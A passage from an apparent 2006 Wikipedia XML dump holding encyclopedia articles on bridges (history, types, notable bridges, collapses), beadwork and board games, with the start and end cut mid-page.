[[uk:&amp;#1041;&amp;#1091;&amp;#1076;&amp;#1076;&amp;#1072; &amp;#1043;&amp;#1086;&amp;#1090;&amp;#1072;&amp;#1084;&amp;#1072;]]
[[vi:Thích Ca Mầu Ni]]
[[zh:&amp;#37322;&amp;#36838;&amp;#29279;&amp;#23612;]]</text>
    </revision>
  </page>
  <page>
    <title>Bridge</title>
    <id>3397</id>
    <revision>
      <id>41922370</id>
      <timestamp>2006-03-02T17:15:09Z</timestamp>
      <contributor>
        <username>Narsamson</username>
        <id>350112</id>
      </contributor>
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">:''This article is about the edifice (it is mostly an index to articles concerning specific bridge types). For other meanings, see [[bridge (disambiguation)]].'' 

[[Image:Vallorcine footpath bridge 2003-12-13.jpg|thumb|right|300px|A log bridge]]

A '''bridge''' is a structure built to [[span (architecture)|span]] a [[gorge]], [[valley]], [[road]], [[railroad|railroad track]], [[river]], body of [[water]], or any other physical obstacle. Designs may be built higher than otherwise needed in order to allow other traffic (particularly ship traffic) beneath. 

The purpose of a bridge is to allow easier passage by providing a continuous more uniform more easily navigable route via what would otherwise be an uneven or impossible path for the particular kind of thing travelling or being transported, whether people, vehicles, trains, ships, liquids or whatever else.

==History==
The first bridges were spans made of wooden [[logging|log]]s or [[plank]]s and eventually [[rock (geology)|stone]]s, using a simple support and crossbeam arrangement. 

The [[arch]] was first used by the [[Roman Empire]] for bridges and [[aqueduct]]s, some of which still stand today. The Romans also had [[cement]], which reduced the variation of strength found in natural stone. [[Brick]] and [[Mortar (masonry)|mortar]] bridges were built after the Roman era, as the technology for cement was lost then later rediscovered.

[[Rope bridge]]s, a simple type of suspension bridge, were used by the [[Inca]] civilization in the [[Andes]] mountains of [[South America]], just prior to European colonization in the 1500s.

During the 18th century there were many innovations in the [[design]] of [[timber]] bridges by [[Hans Ulrich]], [[Johannes Grubenmann]], and others.  The first engineering book on building bridges was written by [[Hubert Gautier]] in 1716. 

With the rise of the [[Industrial Revolution]] in the 19th century, [[truss]] systems of [[wrought iron]] were developed for larger bridges, but [[iron]] did not have the [[tensile]] strength to support large [[force|load]]s. With the advent of [[steel]], which has a high tensile strength, much larger bridges were built, many using the ideas of [[Gustave Eiffel]].

==Etymology==
The [[Oxford English Dictionary]] traces the origin of the word ''bridge'' to an [[Old Norse]] word ''bryggja'', meaning &quot;landing stage, gangway, or movable pier&quot;.

==Types of bridges==
There are four main types of bridges: beam bridges, cantilever bridges, arch bridges and suspension bridges.

===By use===
A bridge is usually designed for [[train]]s, [[pedestrian]] or [[road]] traffic, a [[pipeline transport|pipeline]] or waterway for water transport or barge traffic. In some cases there may be restrictions in use. For example, it may be a bridge carrying a [[highway]] and forbidden for [[pedestrian]]s and [[bicycles]], or a pedestrian bridge, possibly also for bicycles.

An [[aqueduct]] is a bridge that carries water, resembling a [[viaduct]].

===Decorative and ceremonial bridges===
To create a beautiful image, some bridges are built much taller than necessary. This type, often found in east-asian style gardens, is called a [[Moon bridge]], evoking a rising full moon.

Other garden bridges may cross only a dry bed of stream washed pebbles, intended only to convey an impression of a stream.

Often in palaces a bridge will be built over an artificial waterway as symbolic of a passage to an important place or state of mind. A set of five bridges cross a sinuous waterway in an important courtyard of the [[Forbidden City]] in [[Beijing]], [[China]]. The central bridge was reserved exclusively for the use of the Emperor, Empress, and their attendants.

===Index to types of bridges and bridge related topics===
&lt;gallery&gt;
Image:NagasakiMeganebashi.jpg|&lt;center&gt;[[Arch bridge]]&lt;/center&gt;
Image:Pont_du_gard.jpg|&lt;center&gt;[[Aqueduct]]&lt;/center&gt;
Image:Baileycoppename.jpg|&lt;center&gt;[[Bailey bridge]]&lt;/center&gt;
Image:UniversityBridge-1Clip.jpg|&lt;center&gt;[[Bascule bridge]]&lt;/center&gt;
Image:Small footbridge.jpg|&lt;center&gt;[[Beam bridge]]&lt;/center&gt;
Image:Concrete box girder bridge.JPG|&lt;center&gt;[[Box girder bridge]]&lt;/center&gt;
Image:ThreeTwrBrCenter.jpg|&lt;center&gt;[[Cable-stayed bridge]]&lt;/center&gt;
Image:CaissonSchematic.jpg|&lt;center&gt;[[Caisson (engineering)|Caisson]]&lt;/center&gt;
Image:ForthBridgeEdinburgh.jpg|&lt;center&gt;[[Cantilever bridge]]&lt;/center&gt;
Image:Puente del Alamillo.jpg|&lt;center&gt;[[Cantilever spar cable-stayed bridge]]&lt;/center&gt;
Image:Tarr steps clapper bridge.jpg|&lt;center&gt;[[Clapper bridge]]&lt;/center&gt;
Image:Australia sydney-404.jpg|&lt;center&gt;[[Compression arch suspended-deck bridge]]&lt;/center&gt;
Image:Guilford vermont covered bridge 20040820.jpg|&lt;center&gt;[[Covered bridge]]&lt;/center&gt;
Image:CurlingBridgeClip.jpg|&lt;center&gt;[[Curling bridge]]&lt;/center&gt;
Image:Fort ticonderoga drawbridge to demilune.jpg|&lt;center&gt;[[Drawbridge]]&lt;/center&gt;
Image:NoImageYetRectFramed.png|&lt;center&gt;[[Extradosed bridge]]&lt;/center&gt;
Image:Hoernbruecke.jpg|&lt;center&gt;[[Folding bridge]]&lt;/center&gt;
Image:NoImageYetRectFramed.png|&lt;center&gt;[[Girder bridge]]&lt;/center&gt;
Image:IRBSideViewClip.jpg|&lt;center&gt;[[Inca rope bridge]]&lt;/center&gt;
Image:JetwayAtVancouverBC.jpg|&lt;center&gt;[[Jetway]]&lt;/center&gt;
Image:Guilford vermont bridge covered bridge interior 20040820.jpg|&lt;center&gt;[[Lattice bridge]]&lt;/center&gt;
Image:BNSFBridgeClip.jpg|&lt;center&gt;[[Lift bridge]]&lt;/center&gt;
Image:Vallorcine footpath bridge 2003-12-13.jpg|&lt;center&gt;[[Log bridge]]&lt;/center&gt;
Image:SFTGMoonBridge.jpg|&lt;center&gt;[[Moon bridge]]&lt;/center&gt;
Image:PlateGirderUnderTracks.jpg|&lt;center&gt;[[Plate girder bridge]]&lt;/center&gt;
Image:ArmyPontoonBr.jpg|&lt;center&gt;[[Pontoon bridge]]&lt;/center&gt;
Image:Uppsala Ultunabron02 2005-06-16.jpg|&lt;center&gt;[[Retractable bridge]]&lt;br&gt;(Thrust bridge)&lt;/center&gt;
Image:ProposedSFOBBEasternSpan.jpg|&lt;center&gt;[[Self-anchored suspension bridge]]&lt;/center&gt;
Image:SegmentalBridgeFtLauderdale.jpg|&lt;center&gt;[[Segmental bridge]]&lt;/center&gt;
Image:WinnepegBridge.jpg|&lt;center&gt;[[Side-spar cable-stayed bridge]]&lt;/center&gt;
Image:CapilanoBridge.jpg|&lt;center&gt;[[Simple suspension bridge]]&lt;/center&gt;
Image:StepStoneBridge.jpg|&lt;center&gt;[[Step-stone bridge]]&lt;/center&gt;
Image:BridgeSubmerging4.jpg|&lt;center&gt;[[Submersible bridge]]&lt;/center&gt;
Image:suspension.bridge.bristol.arp.750pix.jpg|&lt;center&gt;[[Suspension bridge]]&lt;/center&gt;
Image:Railway swing bridge.jpg|&lt;center&gt;[[Swing bridge]]&lt;/center&gt;
Image:Millenium_bridge_close.jpg|&lt;center&gt;[[Tilt bridge]]&lt;/center&gt;
Image:Paying Toll on passing a Bridge From a Painted Window in the Cathedral of Tournay Fifteenth Century.png|&lt;center&gt;[[Toll bridge]]&lt;/center&gt;
Image:Newport.transporter.750pix.jpg|&lt;center&gt;[[Transporter bridge]]&lt;/center&gt;
Image:AlhambraTrestle.jpg|&lt;center&gt;[[Trestle]]&lt;/center&gt;
Image:Eastbound_over_SCB.jpg|&lt;center&gt;[[Truss arch bridge]]&lt;/center&gt;
Image:LittleManateeRiver.jpg|&lt;center&gt;[[Truss bridge]]&lt;/center&gt;
Image:Moscow, Bagration Bridge and Tower 2000.jpg|&lt;center&gt;[[Tubular bridge]]&lt;/center&gt;
Image:Toronto-bloorviaduct.jpg|&lt;center&gt;[[Viaduct]]&lt;/center&gt;
Image:Grammene-vierendeelbridge 20030618.jpg|&lt;center&gt;[[Vierendeel bridge]]&lt;/center&gt;
Image:NoImageYetRectFramed.png|&lt;center&gt;[[Weigh bridge]]&lt;/center&gt;
&lt;/gallery&gt;

==Bridge structural and evolutionary taxonomy==
[[Image:BridgeTaxonomyBW.png|thumb|right|400px|A bridge taxonomy showing evolutionary relationships]]
Bridges may be classified by how the four forces of [[tension]], [[physical compression|compression]], [[bending]] and [[shear]] are distributed through their structure. Most bridges will employ all of the principle forces to some degree, but only a few will predominate. The separation of forces may be quite clear, as in a suspension or cable-stayed span; the elements in tension are distinct in shape and placement. In other cases the forces may be distributed among a large number of members, as in a truss, or not clearly discernible to a casual observer as in a box beam. Bridges can also be classified by their lineage, which is shown as the vertical axis on the diagram to the right.

==Efficiency==
A bridge's ''structural efficiency'' may be considered to be the ratio of load carried to bridge weight, given a specific set of material types. In one common challenge young students are to be divided into groups of two or three and then to be given a fixed quantity of wood sticks, a specific distance to span, and a given glue, and then to construct a bridge that will be tested to destruction by the progressive addition of load at the center of the span. The bridge taking the greatest load is by this test the most ''structurally efficient''. A more refined measure for this exercise is to weigh the completed bridge rather than measure against a fixed quantity of materials provided, a test that emphasizes economy of materials and efficient glue joints.

A bridge's ''economic efficiency'' will be site and traffic dependent, the ratio of savings by having a bridge (instead of, for example, a ferry, or a longer road route) compared to its cost. For a given site, kind of bridge employed and the materials used determine the total cost, a lifetime cost composed of materials, labor, machinery, engineering, cost of money,  maintenance, refurbishment, risk potential, and ultimately, demolition and associated disposal, recycling, and reuse. Bridges employing only compression are relatively inefficient structurally, but may be highly cost efficient where suitable materials are available near the site. For medium spans, trusses or box beams are usually most economical, while in some cases, the appearance of the bridge may be more important than its cost efficiency. The longest spans usually require suspension bridges.

==Notable bridges==
*[[Akashi-Kaikyo Bridge]] - [[Japan]], with the longest section span of 1.9 [[Kilometre|km]].
*[[Forth Railway Bridge]] - [[Scotland]], one of the most famous [[cantilever bridge|cantilever bridges]] in the world.
*[[Golden Gate Bridge]] - [[USA]], arguably the most beautiful of its type.
*[[The Iron Bridge]] - [[England]], the world's first [[iron]] bridge.
*[[Confederation Bridge]] - [[Canada]], world's longest bridge over waters that freeze.
*[[Jamuna Bridge]]- [[Bangladesh]], longest rail-road bridge in south asia , 2nd longest in world.
*[[Lake Pontchartrain Causeway]] - [[USA]], spanning [[Lake Pontchartrain]] in south [[Louisiana]], it is the longest bridge in the world at 23.87 [[mile]]s (38.41 km).
*[[Lupu Bridge]]- [[China]], longest single [[steel]] arch.
*[[Mackinac Bridge]] - [[USA]], Opened to traffic in 1957, connecting the two [[peninsulas]] of [[Michigan]]; held the title of the world's longest two tower [[suspension bridge]] between anchorages until the 1990s.
*[[Mahatma Gandhi Setu]] - [[India]], the longest river bridge in the world.
*[[Menai Suspension Bridge]] - [[Wales]], first road [[suspension bridge]] in the world.
*[[Millau Viaduct]] - [[France]].
*[[Oresund Bridge|Øresundbroen/Öresundsbron]]
*[[Overtoun Bridge]], - [[Scotland]], [[dog]]s have leaped to their deaths from this bridge, leading to [[urban legend]]s.
*[[Palace Bridge]] - [[St Petersburg]], [[Russia]], one of iconic images of the city
*[[Penang Bridge]] - [[Malaysia]], longest bridge in [[Southeast Asia]].
*[[Québec Bridge]] - [[Canada]], largest [[cantilever bridge]] in the world.
*[[San Francisco-Oakland Bay Bridge]] - [[USA]], especially for [[seismic retrofit]] and [[Eastern_span_replacement_of_the_San_Francisco-Oakland_Bay_Bridge|eastern span replacement]].
*[[Sundial Bridge]] - [[USA]], a dramatic single cantilever spar cable stayed span for [[pedestrians]].
*[[Sydney Harbour Bridge]] - [[Australia]], arguably the best-known suspended-deck compression arch bridge.
*[[Tacoma Narrows Bridge]] - [[USA]], famous for its collapse due to [[aerodynamic]] effects.
*[[Tatara Bridge]] - [[Japan]], largest span cable-stayed bridge.
*[[Tower Bridge]] - [[London]], [[England]], and a symbol of this city. [[Image:U-Bain-Bridge2.JPG|thumb|280px|U Bein Bridge in [[Amarapura]]]]
*[[Tsing Ma Bridge]] - [[Hong Kong]], the world's longest rail &amp; road suspension bridge
*[[Tyne Bridge]] - [[England]], one of [[Northern_England|Northern England's]] most iconic structures.
*[[Trajan's bridge]] - [[Romania]], [[ancient Rome|ancient Roman]] bridge over the river [[Danube]], only fragments visible.
*U Bein Bridge in [[Amarapura]], a 1.2&amp;nbsp;km wooden footbridge, the longest teak bridge in the world.
*[[Vasco da Gama Bridge]] - [[Portugal]], the longest bridge in [[Europe]] at 17.2&amp;nbsp;km.
*[[Victoria Falls Bridge]] - linking [[Zimbabwe]] to [[Zambia]], built in 1905 as part of the projected [[Cape-Cairo railway]].
*[[Zakim Bunker Hill Bridge]] - [[USA]], built during [[Boston]]'s [[Big Dig]], the widest [[cable-stayed bridge]].
*[[Pearl Harbor Memorial Bridge]] - [[USA]], will be the first [[extradosed bridge|extradosed]] [[cable-stayed bridge]] constructed in the United States.
*[http://www.yde.co.il] '''Zohar River Bridge''' - [[Israel]], constructed on 1997 near the [[Dead Sea]], known to be the lowest bridge in the world. The bridge is located in a high seismic risk zone.

==Catastrophic collapses==

{| class=&quot;wikitable&quot;
|-
! Bridge
! Town
! Country
! Date
! Construction type, use of bridge
! Reason
! Number death/injuries
! Damage
! Remarks
|-
| Bridge of [[Angers]] (France)
| Angers
| France
| [[April 16th]] [[1850]]
| [[Suspension bridge]] over [[Maine]] river
| [[Resonance]] of soldiers led to collapse 
| 226/?
| Bridge total damage
| Marching columns now break step when crossing bridges. 
|-
| [[Tay Rail Bridge]]
| [[Dundee]]
| UK
| [[December 28th]] [[1879]]
| Continuous girder bridge, steel framework on cast iron columns, railway bridge
| Insufficient consideration of the wind load, inadequate construction, collapsed because of the stresses caused by a [[storm]] 
| 75/0
| Bridge unusable, piers partly reused, train heavily damaged
| Locomotive was saved from the Tay and was still in use 19 years later known as &quot;The Diver&quot;.
|-
| [[Quebec-Bridge]]
| [[Quebec]]
| Canada
| [[August 29th]] [[1907]]
| Cantilever bridge, steel framework, railway bridge
| Collapsed during  construction
| 74/11
| Bridge completely destroyed
| &amp;nbsp;
|-
| [[Theodor-Heuss-Rhine River Bridge]]
| [[Ludwigshafen]]
| Germany
| March [[1940]]
| Bridge of concrete, Motorway bridge
| Collapsed during construction
| ?/?
| Bridge totally destroyed
| Resulted in delay in completion of the motorway crossing of the Rhine until 1953
|-
| [[Tacoma Narrows Bridge]]
|
| USA
| [[November 7th]] [[1940]]
| Suspenion bridge, road bridge
| Aerodynamical bad form resulted to resonance 
| No
| Bridge and 1 car destroyed
| Became known as  &quot;Galloping Gertie&quot;, in the first 4 months after opening up until its collapse. Since that time all new bridges have been modelled in wind tunnels.
|-
| Maracaibo bridge
| [[Maracaibo]]
| Venezuela
| [[1964]]
| Road bridge
| Ship collision
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
| [[Silver Bridge]]
|
| USA
| [[15 December]] [[1967]]
| Road bridge
| Material fault and [[Corrosion]]
| 46/9
| Bridge and 37 vehicles destroyed
| &amp;nbsp;
|-
| [[South Bridge Koblenz]] 
| [[Koblenz]]
| Germany
| [[10 November]] [[1971]]
| Road bridge
| Bridge bent into Rhine
| 13/?
| Bridge completely destroyed
| &amp;nbsp;
|-
| [[Reichsbrücke]]
| [[Vienna]]
| Austria
| [[August 1st]], [[1976]]
| Road bridge with [[tramway]]
| Column fractured
| 1/0
| Bridge, one [[bus]] and a lorry destroyed, [[ship]]s damaged
| Concrete of the column had never been examined, was internally totally destroyed; &quot;[[higher force]]&quot;
|-
| [[Almö Bridge]]
| [[Stenungsund]]
| Sweden
| [[January 18]], [[1980]]
| Bridge with bow built of concrete
| Ship collision
| 8/?
| Bridge and several cars destroyed
| &amp;nbsp;
|-
| [[Aschaffenburg Main River Freeway Bridge]]
| [[Aschaffenburg]]
| Germany
| [[1988]]
| Bridge of [[Motorway A 3]] over River Main
| Error in construction
| 1/0
| Bridge total damage
| Partial collapse at [[Repetitive sliding]]
|-
| Bridge over railway line at Eschede
| [[Eschede]]
| Germany
| [[June 3rd]], [[1998]]
| Road bridge
| Train disaster
| 101/105
| &amp;nbsp;
| Destruction by train crashing on pillar, killed and injured people were train passangers
|-
| Motorway bridge at [[Almuñecar]], Province of [[Granada]], [[Spain]] (search correct name of bridge)
| [[Almuñecar]]
| Spain
| [[November 7th]] [[2005]]
| Motorway bridge
| Construction, accident, reason unknown
| 6/3
| &amp;nbsp;
| A 60 metre long part fell 50 metre deep
|}

==See also==
* [[BASE jumping]]
* [[Bridges in art]]
* [[List of bridges]]
* [[List of bridges by length]]
* [[List of largest suspension bridges]]
* [[Moveable bridge]]
* [[Toll bridge]]
* [[List of bridge disasters]]

==External links==
* [http://en.structurae.de/ Structurae] - International Database and Gallery of Structures.
* [http://www.asce.org/history/hp_bridges.html American Society of Civil Engineers] History and Heritage of Civil Engineering - Bridges
* [http://www.remuseum.org.uk/rem_his_engineer.htm Royal Engineers Museum] History of British military bridge building
* [http://www.historicbridges.org/index.htm Historic Bridges of Michigan and Elsewhere] Photos, information, and maps of historic bridges in and around Michigan. Also has a links page with links to bridge databases in other regions of the U.S.A.
* [http://www.brantacan.co.uk/bridges.htm Bridge Building &amp;mdash; Art and Science] Comprehensive explanations about bridges.
* [http://www.garrettsbridges.com/index.html Model Bridge Building]
* [http://pghbridges.com/basics.htm Bridge Basics] A guide to bridge terminology and styles
* [http://www.chinapage.com/bridge/shanghai/lupu/lupu.html Shanghai lupu] Chinese bridge site showing suspended deck arch construction and completion.
* [http://www.bridgebuilder-game.com/ BridgeBuilder] - Great game where you design a bridge and see if a train will drive over it safely.
* [http://finance.groups.yahoo.com/group/RRbridge/ RRbridge]- Discussion group focused on railroad bridges, trestles, and viaducts. Hosted by [[Yahoo! Groups]]
* [http://filebox.vt.edu/users/aschaeff/titlepage.html Bridge disasters]
* [http://www.nireland.com/bridgeman/Dictionary.htm A dictionary of bridge terms]
* [http://bridges.lib.lehigh.edu/BookListpage.html Digital Bridge Library at Lehigh University]
* [http://travelphotobase.com/s/BRIDGE.HTM Bridge Photos]
* [http://bobjagendorf.smugmug.com/gallery/119358 Bridge Photos]
* [http://flickr.com/photos/tags/bridge Flickr: Photos tagged with bridge]
* [http://www.i95newhaven.com/improve_projects/contracts/contract_b_extradosed.asp Extradosed Bridge]
* [http://www.i95newhaven.com/improve_projects/phmb_slides/slide1.asp How the Pearl Harbor Memorial Bridge will be built]

[[Category:Bridges| ]]
[[Category:Coastal construction]]

[[bg:Мост]]
[[ca:Pont]]
[[cs:Most (stavba)]]
[[cy:Pont]]
[[da:Bro (konstruktion)]]
[[de:Brücke]]
[[es:Puente]]
[[eo:Ponto]]
[[fr:Pont (ouvrage d'art)]]
[[ko:다리]]
[[id:Jembatan]]
[[it:Ponte]]
[[he:גשר]]
[[hu:Híd]]
[[ms:Jambatan]]
[[nl:Brug (bouwwerk)]]
[[nds:Brüch]]
[[ja:橋]]
[[no:Bro]]
[[nn:Bru]]
[[os:Хид (арæзтад)]]
[[pl:Most]]
[[pt:Ponte]]
[[ro:Pod]]
[[ru:Мост]]
[[simple:Bridge]]
[[sl:Most]]
[[sr:Мост]]
[[fi:Silta]]
[[sv:Bro]]
[[th:สะพาน]]
[[tr:Köprü]]
[[zh:橋]]</text>
    </revision>
  </page>
  <page>
    <title>Beadwork</title>
    <id>3398</id>
    <revision>
      <id>36613078</id>
      <timestamp>2006-01-25T07:13:29Z</timestamp>
      <contributor>
        <username>Pschemp</username>
        <id>110252</id>
      </contributor>
      <comment>wl</comment>
      <text xml:space="preserve">'''Beadwork''' is the art or craft of attaching [[bead]]s to one another or to cloth using a needle and thread.  Most beadwork takes the form of [[jewellery|jewelry]] or other [[personal adornment]], but beads are also used in wall hangings and [[sculpture]].  

Beadwork techniques are broadly divided into [[Bead weaving|loom]] and [[Bead weaving|off-loom]] weaving, [[Bead stringing|stringing]], [[bead embroidery]], [[bead crochet]], and [[bead knitting]].

Most [[culture]]s have employed beads for personal adornment. [[archaeology|Archaeological]] records show that people made and used beads as long as 5000 years ago. Beads have also been used for [[religion|religious]] purposes, as good luck [[amulet|talismans]], and as curative agents.

== Beadwork traditions ==
*[[African beadwork]]
*[[Middle Eastern and Egyptian beadwork]]
*[[Scythian gold bead making]]
*[[Central Asian metalsmithing and gemstone carving]]
*[[Indian beadwork]]
*[[Chinese beadwork]]
*[[European beadwork]]
*[[Native American beadwork]]

A number of [[bead artists]] have published their work on the web.  [[Beadwork projects|Projects]] and [[Beadwork patterns|patterns]] are widely available.

== External links ==
*[http://www.thebeadsite.com The Bead Site]
*[http://www.michaelstevenson.com/books/html/beadwork.htm Beadwork from South Africa]
*[http://www.guidetobeadwork.com/book/index.html Guide to Beadwork]
*[http://www.craftbits.com/viewCategory.do?categoryID=BEA Beadwork craft projects]

[[Category:Arts and crafts]]
[[Category:Beadwork|*Beadwork]]


[[he:&amp;#1495;&amp;#1512;&amp;#1497;&amp;#1494;&amp;#1492; (&amp;#1502;&amp;#1500;&amp;#1488;&amp;#1499;&amp;#1514; &amp;#1497;&amp;#1491;)]]</text>
    </revision>
  </page>
  <page>
    <title>Board game</title>
    <id>3401</id>
    <revision>
      <id>41776744</id>
      <timestamp>2006-03-01T17:51:40Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.255.13.93|72.255.13.93]] ([[User talk:72.255.13.93|talk]]) to last version by SimonP</comment>
      <text xml:space="preserve">A '''board game''' is any [[game]] played on a board (that is, a premarked surface) with counters or pieces that are moved across the board.  Simple board games are often seen as ideal &quot;family entertainment&quot; as they can provide entertainment for all ages. Some board games, such as [[Chess]], [[Oware]], or [[Go (board game)|Go]], have intense strategic value and have become lasting classics.

There are many different types and classifications of board games.  Some games are simplified simulations of real life.  These are popular for they can intermingle make-believe and role playing along with the game.  Popular games of this type include ''[[Monopoly (game)|Monopoly]]'', which is a rough simulation of the [[real estate]] market; ''[[Cluedo]]''/''[[Cluedo|Clue]]'', which is based upon a [[murder]] mystery; and ''[[Risk (game)|Risk]]'', which is one of the best known of thousands of games attempting to simulate warfare and geo-politics.

Other games only loosely, or do not at all, attempt to imitate reality.  These include [[abstract strategy]] games like [[chess]] and [[checkers]], [[word game]]s, such as ''[[Scrabble]]'', and  [[trivia]] games, such as ''[[Trivial Pursuit]]''.
[[Image:Board Games.jpg|right]]
==History==
Board games have a long history and have been played in most cultures and societies; some even pre-date literacy skill development in the earliest civilizations. A number of important historical sites, artifacts and documents exist which shed light on early board games. The most of important of these include:

*[[Senet]] has been found in [[Predynastic Egypt|Predynastic]] and [[First dynasty of Egypt|First Dynasty]] burials of [[Egypt]], c. [[3500 BC]] and [[3100 BC]] respectively [http://www.gamesmuseum.uwaterloo.ca/Archives/Piccione/index.html]. Senet is the oldest board game known to have existed. Also see [http://www.hrejsi.cz/clanky/dama1.html ''Okno do svita deskovych her''] for a photo of the actual fresco found in [[Merknera]]'s tomb ([[33rd century BC|3300]]-[[27th century BC|2700 BC]]).
*[[Mehen]] is another ancient board game from [[Predynastic Egypt]].
*The [[Royal Tombs of Ur]] contained, among others, the [[Royal Game of Ur]]. They were excavated by [[C. Leonard Woolley]], but his books document little on the games found. Most of the games he excavated are now housed in the [[British Museum]] in [[London]].
*[[Buddha games list]] is the earliest known list of games.

=== Timeline ===
*[[3500 BC]] - [[Senet]] found in [[Predynastic Egypt]]ian burials [http://www.gamesmuseum.uwaterloo.ca/Archives/Piccione/index.html]; also depicted in the tomb of [[Merknera]].
*[[3000 BC]] - [[Mehen]], board game from [[Predynastic Egypt]], played with [[lion]]-shaped game pieces and [[marbles]].
*[[2500 BC|2560 BC]] - Board of the [[Royal Game of Ur]] (found at Ur Tombs)
*[[2500 BC]] - Paintings of [[Senet]] and [[Han]] being played made in the tomb of [[Rashepes]]
*[[2000 BC]] - Drawing in a tomb at Benihassan depicting two unknown board games being played (depicted in Falkner). It has been suggested that the second of these is [[Tau]].
*[[1500 BC]] - [[Liubo]] carved on slab of blue stone. Also painting of   [http://www.gamesmuseum.uwaterloo.ca/Archives/Brumbaugh/index.html Board Game] of [[Knossos]].
*[[1400 BC]] - Game boards including  [[Alquerque]], [[Three Men's Morris]], [[Nine Men's Morris]], and a possible [[Mancala]] board etched on the roof of the [[Kurna Temple]]. (Source: Fiske, and Bell)
*[[200 BC]] - A [[Go (board game)|Go]] board pre-dating 200 BC was found in [[1954]] in [[Wangdu County]]. This board is now in [[Beijing Historical Museum]]. (Source:  John Fairbairn's [http://gobase.org/history/china.html Go in Ancient China]).
*[[116 BC|116]] - [[27 BC]] - [[Marcus Terentius Varro]]'s [http://www.thelatinlibrary.com/varro.ll10.html Lingua Latina X] ('''II, par. 20''') contains earliest known reference to ''[[latrunculi]]'' (often confused with [[Ludus Duodecim Scriptorum]], [[Ovid]]'s game mentioned below).
*[[79 BC|79]] - [[8 BC]] - Liu Xiang's (劉向) '''Shuo yuan,''' contains earliest known reference to [[Xiangqi]].
*[[1 BC]]-[[8|8 AD]] [[Ovid]]'s [[Ars Amatoria]] contains earliest known reference to [[Ludus Duodecim Scriptorum]] and the [[smaller merels]].
*[[220]]-[[265]] [[Nard (game)|Nard]] enters [[China]] under the name [[t'shu-p'u]] (Source:  [[Hun Tsun Sii]])

Board games first became widely popular among the general population early in the [[20th century]] when the rise of the [[middle class]] with disposable income and leisure time made them a receptive audience to such games.  This popularity expanded after the [[World War II|Second World War]], a period from which many classic board games date.  [[Computer game]]s are closely related to board games, and many acclaimed computer games such as [[Civilization (computer game)|Civilization]] are based upon board games.  

Many board games are now available as [[computer games]], including the option to have the computer act as an opponent. The rise of computers has also led to a relative decline in the most complicated board games, as they require less space, and are easier to set up and clear away. With the [[Internet]], many board games can now be played online against computer or other players in real time (like to classics board games available on [[Yahoo!|Yahoo]], [[Lycos]] and other big Internet sites) or during your spare time, every time it's your turn (see the links at the end of this article).

The modern board game industry is rife with corporate mergers and acquisitions, with large companies such as [[Hasbro]] owning many subsidiaries and selling products under a variety of brand names. It is difficult to successfully market a new board game to the mass market.  Retailers tend to be conservative about stocking games of untested popularity, and most large board game companies have established criteria that a game must meet in order to be produced. If, for instance, [[Monopoly (game)|Monopoly]] were introduced as a new game today, it would not meet the criteria for production.&lt;!-- I can't remember the exact source of this, but it was an article by an insider in the board game industry. -- Try to find this reference or the statement may not last long on Wikipedia. --&gt;

==Luck, strategy and diplomacy==
One way of defining board games are between those based upon [[luck]] and [[strategy]]. Some games, such as [[chess]], have no luck involved. Children's games tend to be very luck based, with games such as [[Sorry! (game)|Sorry!]], [[Candy Land]] and [[Chutes and Ladders]] having virtually no decisions to be made.  Most board games have both luck and strategy. A player may be hampered by a few poor rolls of the dice in [[Risk (game)|Risk]] or [[Monopoly (game)|Monopoly]], but over many games a player with a superior strategy will win more often. While some purists consider luck to not be a desirable component of a game, others counter that elements of luck can make for far more complex and multi-faceted strategies as concepts such as [[expected value]] and [[risk management]] must be considered. Still most adult game players prefer to make some decisions during play, and find purely luck based games such as [[Top Trumps]] quite boring.

The third important factor in a game is [[diplomacy]], or players making deals with each other. A game of [[solitaire]], for obvious reasons, has no player interaction. Two player games usually don't have diplomacy, as cooporation between the two players does not occur. Thus, this generally applies only to games played with three or more people. An important facet of [[Settlers of Catan]], for example, is convincing people to trade with you rather than with other players. In [[Risk (game)|Risk]], one example of diplomacy's effectiveness is when two or more players team up against another. Easy diplomacy consists of convincing other players that someone else is winning and should therefore be teamed up against. Difficult diplomacy (such as in the aptly named game [[Diplomacy (board game)|Diplomacy]]) consists of making elaborate plans together, with possibility of betrayal.

Luck is introduced to a game by a number of methods.  The most popular is using [[dice]], generally six sided.  These can determine everything from how many steps a player moves their token, as in Monopoly, how their forces fare in battle, such as in Risk, or which resources a player gains, such as in [[Settlers of Catan]].  Other games such as Sorry! use a deck of special [[card]]s that when shuffled create randomness. Scrabble does something similar with randomly picked letters.  Other games use spinners, timers of random length, or other sources of randomness. Trivia games have a great deal of randomness based on which question a person gets. [[German-style board game]]s are notable for often having rather less luck factor than in many North American board games.

==Common terminology==

[[Image:Carcassonne Miples.jpg|thumb|[[Carcassonne (game)|Carcassonne]] tokens, or ''meeples'']]
Although many board games have a [[jargon]] all their own, there is a generalized [[terminology]] to describe concepts applicable to basic [[game mechanic]]s and attributes common to nearly all board games.

*'''Gameboard''' (or '''board''') &amp;mdash; the (usually [[quadrilateral]]) surface on which one plays a board game; the [[namesake]] of the board game, gameboards are a [[necessary and sufficient condition]] of the [[genre]]

*'''Game Piece''' (or '''token''' or '''bit''') &amp;mdash; a player's representative on the game board. Each player may control one or more game pieces. In some games that involve commanding multiple game pieces, such as chess, certain pieces have unique designations and capabilities within the [[parameter]]s of the game; in others, such as Go, all pieces controlled by a player have the same essential capabilities.

*'''Jump''' &amp;mdash; to bypass one or more game pieces and/or '''spaces'''. Depending on the context, '''jumping''' may also involve capturing or conquering an opponent's game piece. (''See also:'' [[Game mechanic#Capture|Game mechanic: Capture]])

*'''Space''' (or '''square''') &amp;mdash; a [[Units of measurement|physical unit]] of progress on a gameboard delimited by a distinct [[Border#Generic border|border]] (''See also:'' [[Game mechanic#Movement|Game mechanic: Movement]])

==References==
*Fiske, Willard. ''Chess in Iceland and in Icelandic Literature&amp;mdash;with historical notes on other table-games)''. Florentine Typographical Society, [[1905]].
*Falkener, Edward. ''Games Ancient and Oriental, and How To Play Them''. Longmans, Green and Co., [[1892]].
*Austin, Roland G. &amp;quot;Greek Board Games.&amp;quot; ''Antiquity'' 14. [[September]] [[1940]]: 257&amp;ndash;271
*[[Harold James Ruthven Murray|Murray, Harold James Ruthven]]. ''A History of Board-Games Other Than Chess''. Gardners Books, [[1969]].
